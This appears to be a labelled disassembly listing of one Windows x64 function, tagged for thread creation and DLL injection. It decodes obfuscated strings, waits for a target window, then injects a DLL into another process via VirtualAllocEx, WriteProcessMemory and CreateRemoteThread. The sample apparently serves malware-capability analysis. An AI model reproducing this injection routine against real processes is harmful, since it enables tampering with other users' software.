Function at 0x1400a4980
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x290]
sub rsp, 0x390
mov rax, qword [0x1402d9040]
xor rax, rsp
mov qword [rbp + 0x288], rax
mov r13, rdx
mov qword [rbp + 0x80], rdx
mov qword [rbp + 0x1d0], rdx
xor esi, esi
mov dword [rbp - 0x10], 0x53c570c5
mov dword [rbp - 0xc], 0x95bbcad7
mov dword [rbp - 8], 0xa2132474
mov dword [rbp - 4], 0x25d5626a
mov dword [rbp], 0x263c7ab8
mov dword [rbp + 4], 0xf0600882
mov dword [rbp + 8], 0x2e4d616c
mov dword [rbp + 0xc], 0x30a4de54
mov dword [rbp + 0x10], 0xc06d1f4a
mov dword [rbp + 0x14], 0x26c41946
mov qword [rsp + 0x48], rsi
mov rax, qword [rsp + 0x48]
nop dword [rax + rax]
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x48]
movzx edx, byte [rbp + rcx - 0x10]
sub dl, byte [rbp + rax + 4]
mov byte [rsp + 0x40], dl
movzx ecx, byte [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov byte [rbp + rax + 0x238], cl
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
cmp rax, 0x14
jb 0x1400a4a20
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], rsi
mov qword [rbp + 0xc8], rsi
mov r8d, reloc.WS2_32.dll_send
lea rdx, [rbp + 0x238]
lea rcx, [rbp + 0xb0]
call fcn.14004a1a0
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x48], rax
mov rcx, qword [0x1402db860]
add rcx, 8
lea rdx, [rbp + 0xb0]
call fcn.14005f4d0
nop
lea rcx, [rbp + 0xb0]
call fcn.1400614c0
mov rcx, qword [0x1402db590]
call fcn.1400a61a0
test al, al
je 0x1400a4cd7
mov dword [rbp + 0x48], 0x6e77748
mov dword [rbp + 0x4c], 0x51eef93f
mov dword [rbp + 0x50], 0xb23ef3ae
mov dword [rbp + 0x54], 0x4cd6891e
mov dword [rbp + 0x58], 0x543c1eb
mov dword [rbp + 0x5c], 0x1f187172
mov dword [rbp + 0x60], 0xdec6ca23
mov dword [rbp + 0x64], 0x94820f05
mov dword [rbp + 0x68], 0xe8ce81de
mov dword [rbp + 0x6c], 0x46ddd33b
mov dword [rbp + 0x70], 0xe87524ac
mov dword [rbp + 0x74], 0x97daa172
mov dword [rbp + 0x78], 0xabb50c08
mov dword [rbp + 0x7c], 0xde9866be
mov qword [rsp + 0x48], rsi
mov rax, qword [rsp + 0x48]
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x48]
movzx edx, byte [rbp + rcx + 0x48]
sub dl, byte [rbp + rax + 0x64]
mov byte [rsp + 0x40], dl
movzx ecx, byte [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov byte [rbp + rax + 0x268], cl
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
cmp rax, 0x1c
jb 0x1400a4b41
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1a0], xmm1
mov r8d, reloc.WLDAP32.dll_Ordinal_27
lea rdx, [rbp + 0x268]
lea rcx, [rbp + 0x190]
call fcn.14004a1a0
nop
lea rbx, [rbp + 0x190]
cmp qword [rbp + 0x1a8], 0xf
cmova rbx, qword [rbp + 0x190]
mov dword [rbp - 0x38], 0xf9f47b46
mov dword [rbp - 0x34], 0x847e53f
mov dword [rbp - 0x30], 0xab474184
mov dword [rbp - 0x2c], 0x4cda980f
mov dword [rbp - 0x28], 0x820f0572
mov dword [rbp - 0x24], 0xce81de94
mov dword [rbp - 0x20], 0xddd33be8
mov dword [rbp - 0x1c], 0x7524ac46
mov word [rbp - 0x18], 0x72e8
mov qword [rsp + 0x48], rsi
mov rax, qword [rsp + 0x48]
nop
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x48]
movzx edx, byte [rbp + rcx - 0x38]
sub dl, byte [rbp + rax - 0x27]
mov byte [rsp + 0x40], dl
movzx ecx, byte [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov byte [rbp + rax + 0x220], cl
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
cmp rax, 0x11
jb 0x1400a4c10
xorps xmm0, xmm0
movups xmmword [rbp + 0x170], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x180], xmm1
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x170]
call fcn.14004a1a0
lea rdx, [rbp + 0x170]
cmp qword [rbp + 0x188], 0xf
cmova rdx, qword [rbp + 0x170]
mov rax, qword [0x1402db5b0]
mov r9d, 0x40
mov r8, rbx
mov rcx, qword [rax]
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, [rbp + 0x170]
call fcn.1400614c0
nop
lea rcx, [rbp + 0x190]
call fcn.1400614c0
nop
mov rcx, r13
call fcn.140061450
xor al, al
jmp 0x1400a545a
mov dword [rbp - 0x80], 0xac0d77df
mov dword [rbp - 0x7c], 0xc2b70fba
mov dword [rbp - 0x78], 0x7d883767
mov dword [rbp - 0x74], 0x10bf7d55
mov dword [rbp - 0x70], 0x38a41688
mov dword [rbp - 0x6c], 0xa250a151
mov dword [rbp - 0x68], 0x5d16c821
mov dword [rbp - 0x64], 0x107e290e
mov qword [rsp + 0x48], rsi
mov rax, qword [rsp + 0x48]
nop dword [rax]
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x48]
movzx edx, byte [rbp + rcx - 0x80]
sub dl, byte [rbp + rax - 0x70]
mov byte [rsp + 0x40], dl
movzx ecx, byte [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov byte [rbp + rax + 0x1f8], cl
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
cmp rax, 0x10
jb 0x1400a4d20
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], rsi
mov qword [rbp + 0xe8], rsi
mov r8d, reloc.WS2_32.dll_ntohs
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0xd0]
call fcn.14004a1a0
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x48], rax
mov rcx, qword [0x1402db860]
add rcx, 8
lea rdx, [rbp + 0xd0]
call fcn.14005f4d0
nop
lea rcx, [rbp + 0xd0]
call fcn.1400614c0
movabs rbx, 0x7fffffffffffffff
movabs r13, 0x7ffffffffff0bdbf
mov r15d, 0xff
movabs r12, 0x4e94914effff
nop word [rax + rax]
mov dword [rsp + 0x50], 0x7ad073b3
mov dword [rsp + 0x54], 0xb0abad4f
mov dword [rsp + 0x58], 0x8f1f6c42
mov dword [rsp + 0x5c], 0x33482145
mov word [rsp + 0x60], 0x424b
mov qword [rsp + 0x48], rsi
mov rax, qword [rsp + 0x48]
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x48]
movzx edx, byte [rsp + rcx + 0x50]
sub dl, byte [rsp + rax + 0x59]
mov byte [rsp + 0x40], dl
movzx ecx, byte [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov byte [rbp + rax + 0x1d8], cl
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
cmp rax, 9
jb 0x1400a4e21
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], rsi
mov qword [rbp + 0x108], rsi
mov r8d, 8
lea rdx, [rbp + 0x1d8]
lea rcx, [rbp + 0xf0]
call fcn.14004a1a0
nop
lea rcx, [rbp + 0xf0]
cmp qword [rbp + 0x108], 0xf
cmova rcx, qword [rbp + 0xf0]
call fcn.1400a3990
mov r14d, eax
lea rcx, [rbp + 0xf0]
call fcn.1400614c0
lea rcx, [rbp + 0x90]
call fcn.140046930
mov rcx, qword [rbp + 0x90]
cmp rcx, r13
je 0x1400a4eea
mov edx, 1
cmovl edx, r15d
test dl, dl
lea rdi, [rcx + 0xf4240]
js 0x1400a4eed
mov rdi, rbx
movabs r13, 0x431bde82d7b634db
nop word [rax + rax]
lea rcx, [rbp + 0x98]
call fcn.140046930
mov rax, qword [rbp + 0x98]
cmp rdi, rax
je 0x1400a4f68
mov ecx, 1
cmovl ecx, r15d
test cl, cl
jle 0x1400a4f68
mov rcx, rdi
sub rcx, rax
cmp rcx, r12
jg 0x1400a4f5c
mov rax, r13
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xf4240
cmp rax, rcx
jge 0x1400a4f53
inc rdx
mov ecx, edx
call sub.KERNEL32.dll_Sleep
jmp 0x1400a4f00
mov ecx, 0x5265c00
call sub.KERNEL32.dll_Sleep
jmp 0x1400a4f00
test r14d, r14d
movabs r13, 0x7ffffffffff0bdbf
je 0x1400a4df0
mov dword [rbp + 0x18], 0x5d1a8746
mov dword [rbp + 0x1c], 0x251bd6fd
mov dword [rbp + 0x20], 0xb0c85f6e
mov dword [rbp + 0x24], 0xca934832
mov dword [rbp + 0x28], 0xfa4c46c9
mov dword [rbp + 0x2c], 0xb126eff4
mov dword [rbp + 0x30], 0xb46894e9
mov dword [rbp + 0x34], 0x56f02805
mov dword [rbp + 0x38], 0x52f4eb90
mov dword [rbp + 0x3c], 0xe3d880aa
mov word [rbp + 0x40], 0xf486
mov qword [rsp + 0x48], rsi
mov rax, qword [rsp + 0x48]
mov r13, qword [rbp + 0x80]
nop dword [rax + rax]
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x48]
movzx edx, byte [rbp + rcx + 0x18]
sub dl, byte [rbp + rax + 0x2d]
mov byte [rsp + 0x40], dl
movzx ecx, byte [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov byte [rbp + rax + 0x250], cl
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
cmp rax, 0x15
jb 0x1400a4fe0
xorps xmm0, xmm0
movups xmmword [rbp + 0x110], xmm0
mov qword [rbp + 0x120], rsi
mov qword [rbp + 0x128], rsi
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x110]
call fcn.14004a1a0
lea rax, [rbp + 0x110]
mov qword [rsp + 0x48], rax
mov rcx, qword [0x1402db860]
add rcx, 8
lea rdx, [rbp + 0x110]
call fcn.14005f4d0
nop
lea rcx, [rbp + 0x110]
call fcn.1400614c0
nop dword [rax]
nop word [rax + rax]
mov dword [rsp + 0x68], 0x12a59c18
mov dword [rsp + 0x6c], 0x50d9e6b6
mov dword [rsp + 0x70], 0x2ab16a12
mov dword [rsp + 0x74], 0x784dbb42
mov dword [rsp + 0x78], 0x6a9be175
mov qword [rsp + 0x48], rsi
mov rax, qword [rsp + 0x48]
nop dword [rax]
nop word [rax + rax]
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x48]
movzx edx, byte [rsp + rcx + 0x68]
sub dl, byte [rsp + rax + 0x72]
mov byte [rsp + 0x40], dl
movzx ecx, byte [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov byte [rbp + rax + 0x1e8], cl
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
cmp rax, 0xa
jb 0x1400a50d0
xorps xmm0, xmm0
movups xmmword [rbp + 0x130], xmm0
mov qword [rbp + 0x140], rsi
mov qword [rbp + 0x148], rsi
mov r8d, 9
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x130]
call fcn.14004a1a0
lea rcx, [rbp + 0x130]
cmp qword [rbp + 0x148], 0xf
cmova rcx, qword [rbp + 0x130]
xor edx, edx
call qword [sym.imp.USER32.dll_FindWindowA]
mov rdi, rax
lea rcx, [rbp + 0x130]
call fcn.1400614c0
test rdi, rdi
jne 0x1400a5190
mov qword [rbp + 0x88], 1
lea rcx, [rbp + 0x88]
call fcn.140064c80
jmp 0x1400a5090
mov dword [rbp - 0x60], 0x2d97a1dd
mov dword [rbp - 0x5c], 0xf8c19380
mov dword [rbp - 0x58], 0x1f3cbd23
mov dword [rbp - 0x54], 0x2902aefc
mov dword [rbp - 0x50], 0x2d33944d
mov dword [rbp - 0x4c], 0x581f1dc8
mov dword [rbp - 0x48], 0xf99dbc8a
mov dword [rbp - 0x44], 0xa13c97b7
mov word [rbp - 0x40], 0x4db1
mov qword [rsp + 0x48], rsi
mov rax, qword [rsp + 0x48]
nop dword [rax + rax]
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x48]
movzx edx, byte [rbp + rcx - 0x60]
sub dl, byte [rbp + rax - 0x4f]
mov byte [rsp + 0x40], dl
movzx ecx, byte [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov byte [rbp + rax + 0x208], cl
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
cmp rax, 0x11
jb 0x1400a51e0
xorps xmm0, xmm0
movups xmmword [rbp + 0x150], xmm0
mov qword [rbp + 0x160], rsi
mov qword [rbp + 0x168], rsi
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x150]
call fcn.14004a1a0
lea rax, [rbp + 0x150]
mov qword [rbp + 0x88], rax
mov rcx, qword [0x1402db860]
add rcx, 8
lea rdx, [rbp + 0x150]
call fcn.14005f4d0
nop
lea rcx, [rbp + 0x150]
call fcn.1400614c0
lea rdx, [rbp + 0x1b0]
mov rcx, r13
call fcn.140048d50
mov rsi, rax
cmp qword [rax + 0x18], 0xf
jbe 0x1400a529f
mov rsi, qword [rax]
mov r8d, r14d
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r15, rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x14026c010]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rsi + r8], 0
jne 0x1400a52e0
inc r8
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
nop dword [rax]
lea rdi, [rdi + 1]
cmp byte [rsi + rdi], 0
jne 0x1400a5310
lea r9, [rdi + 1]
mov qword [rsp + 0x20], 0
mov r8, rsi
mov rdx, r12
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r12
mov r9, r14
xor r8d, r8d
xor edx, edx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
lea rcx, [rbp + 0xa0]
call fcn.140046930
movabs rdx, 0x7ffffffffd050f7f
mov rax, qword [rbp + 0xa0]
mov edi, 0xff
cmp rax, rdx
je 0x1400a5391
mov ecx, 1
cmovl ecx, edi
test cl, cl
jns 0x1400a5391
lea rbx, [rax + 0x2faf080]
movabs rsi, 0x4e94914effff
movabs r13, 0x431bde82d7b634db
nop word [rax + rax]
lea rcx, [rbp + 0xa8]
call fcn.140046930
mov rax, qword [rbp + 0xa8]
cmp rbx, rax
je 0x1400a5417
mov ecx, 1
cmovl ecx, edi
test cl, cl
jle 0x1400a5417
mov rcx, rbx
sub rcx, rax
cmp rcx, rsi
jg 0x1400a540b
mov rax, r13
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xf4240
cmp rax, rcx
jge 0x1400a5402
inc rdx
mov ecx, edx
call sub.KERNEL32.dll_Sleep
jmp 0x1400a53b0
mov ecx, 0x5265c00
call sub.KERNEL32.dll_Sleep
jmp 0x1400a53b0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x1b0]
call fcn.1400614c0
call fcn.1400a6c00
call fcn.1400a6970
nop
mov rcx, qword [rbp + 0x80]
call fcn.140061450
mov al, 1
mov rcx, qword [rbp + 0x288]
xor rcx, rsp
call fcn.14016b380
lea r11, [rsp + 0x390]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret